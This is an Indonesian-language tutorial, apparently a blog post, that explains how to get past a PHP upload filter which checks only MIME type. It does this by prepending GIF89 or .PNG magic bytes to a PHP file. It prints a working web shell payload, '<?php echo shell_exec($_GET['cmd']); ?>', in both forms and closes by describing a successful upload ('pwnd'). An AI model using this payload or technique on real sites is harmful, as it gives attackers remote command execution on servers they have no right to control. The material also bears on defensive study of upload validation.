Untuk melakukan upload filter yang dilakukan whitelist dalam bentuk MIME seperti muncul pada code PHP berikut :
if($imageinfo['mime'] != 'image/gif' &&
$imageinfo['mime'] != 'image/jpeg' &&
$imageinfo['mime'] != 'image/jpg'&&
$imageinfo['mime'] != 'image/png') { die('Error 002'); }
disebutkan pada code tersebut bahwa hanya diperbolehkan untuk upload file yang dibatasi dengan MIME GIF, JPG dan PNG. lalu bagaimana untuk bypass upload seperti ini.
cara mudahnya dengan cara menambahkan MIME tersebut pada shell yang akan di upload.
pada setiap awal byte file memiliki header sebagai identifikasi bahwa file tersebut memiliki content yang diikuti oleh headernya. first byte ini biasa disebut MIME ( Multipurpose Internet Mail Extension ) pada kalangan internet, pada umumnya MIME disebut sebagai file file yang berekstensi yang dapat diikuti oleh format email yang meliputi standar email. MIME yang dimaksud disini adalah header yang berisikan informasi bahwa file tersebut adalah file berupa tipe apa dan menggunakan ekstensi apa.
Maka dari itu artikel ini bertujuan utama untuk mengelabui fungsi utama dari php pada setiap kali mengirimkan file php akan mereturn beberapa data berupa array yang berisikan informasi mengenai file dari file size, file name, file extension dan juga file mime.
Setiap File memiliki first byte yang berbeda beda, berikut saya jelaskan beberapa first byte untuk file GIF, JPG dan PNG
GIF : pada first offset memiliki string GIF89 atau 5 first byte nya 4749 4638 39
PNG : pada first offset memiliki string .PNG atau 5 first byte nyte 8950 4e47 0d
JPG : pada first offset memiliki string JFIF JPG memiliki null content sebanyak 6 byte, jadi first bytenya dimulai dari byte 7 4a46 4946 00
jadi first offset tersebut yang mengidtentifikasikan bahwa file tersebut tipe datanya seperti demikian.
lalu cara untuk bypass nya adalah cukup dengan membuat file *.gif atau tipe ekstensi yang di gunakan lalu dengan content file seperti berikut
GIF89
<?php echo shell_exec($_GET['cmd']); ?>
.PNG
<?php echo shell_exec($_GET['cmd']); ?>
so lets try it
Upload File shell langsung
ternyata terdapat whitelist
lalu di coba upload file shell yang sudah diedit
pwnd